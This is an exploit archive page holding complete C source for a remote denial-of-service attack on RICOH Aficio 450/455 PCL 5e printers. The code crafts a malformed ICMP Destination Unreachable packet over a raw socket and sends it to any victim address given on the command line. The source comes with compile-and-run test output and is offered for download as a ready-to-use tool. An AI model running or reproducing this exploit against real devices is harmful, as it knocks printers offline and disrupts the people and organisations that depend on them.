exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

rpcl_icmpdos.c

rpcl_icmpdos.c
Posted Dec 30, 2004
Authored by Kyong Joo

RICOH Aficio 450/455 PCL 5e printer ICMP remote denial of service exploit.

tags | exploit, remote, denial of service
SHA-256 | e73932313517def966eed3b58964c4ad1ef4968ba5160aeae717bf3525bdaf99

rpcl_icmpdos.c

Change Mirror Download
/*
* RICOH Aficio 450/455 PCL 5e Printer ICMP DOS vulnerability Exploit.
* DATE: 12.15.2004
* Vuln Advisory : Hongzhen Zhou<felix__zhou _at_ hotmail _dot_ com>
* Exploit Writer : x90c(Kyong Joo)@www.chollian.net/~jyj9782
*
* Testing -----------------------------------------------
* root@testbed:~/raw# gcc -o rpcl_icmpdos rpcl_icmpdos.c
* root@testbed:~/raw# ./rpcl_icmpdos
* Usage: ./rpcl_icmpdos <victim>
* root@testbed:~/raw# ./rpcl_icmpdos 192.168.2.4
* exploit sent ok() = ..x-_-x..
* root@testbed:~/raw#
*
*/

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<linux/ip.h>
#include<linux/icmp.h>

unsigned short cksum(unsigned short *buf, int len);

struct icmp_packet{
struct icmphdr icmp;
struct iphdr inip;
unsigned char bigger[90]; // STEP1: Bigger Data(ICMP Header(8)+ inip(20) + 90(bigger
data))
} packet;


/* ########################
* # Entry Point #
* ########################
*/

int main(int argc, char *argv[]){
struct sockaddr_in ca;
int sockfd, ret;

if(argc<2){
printf("Usage: %s <victim>\n", argv[0]);
exit(-1);
}

sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);

memset(&packet, 0, sizeof(packet));

packet.icmp.type = 3; // STEP2: Destination Unreachable.
packet.icmp.code = 1;
packet.icmp.un.echo.id = getpid();
packet.icmp.un.echo.sequence = 0;

packet.inip.ihl = 5;
packet.inip.version = 4;
packet.inip.tot_len = htons(20);
packet.inip.id = htons(9090);
packet.inip.ttl = 90;
packet.inip.protocol = IPPROTO_TCP; // STEP3: IPPROTO_UDP also useable.
packet.inip.saddr = inet_addr("127.0.0.1");
packet.inip.daddr = inet_addr("127.0.0.1");
packet.inip.check = (unsigned short) cksum((unsigned short *)&packet.inip, 20);

packet.icmp.checksum = cksum((void *)&packet, sizeof(packet));

memset(&ca, 0, sizeof(ca));
ca.sin_family = AF_INET;
ca.sin_addr.s_addr = inet_addr(argv[1]);


if((sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&ca, sizeof(ca)))
== sizeof(packet))
printf("exploit sent ok() = ..x-_-x..\n");
else
printf("exploit sent failed() = ..o^O^o..\n");


close(sockfd);

}


/* ########################
* # Internet Checksum #
* ########################
*/

unsigned short cksum(unsigned short *buf, int len){
register unsigned long sum;

for(sum = 0; len > 0; len--) sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;
}
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    26 Files
  • 27
    Sep 27th
    34 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close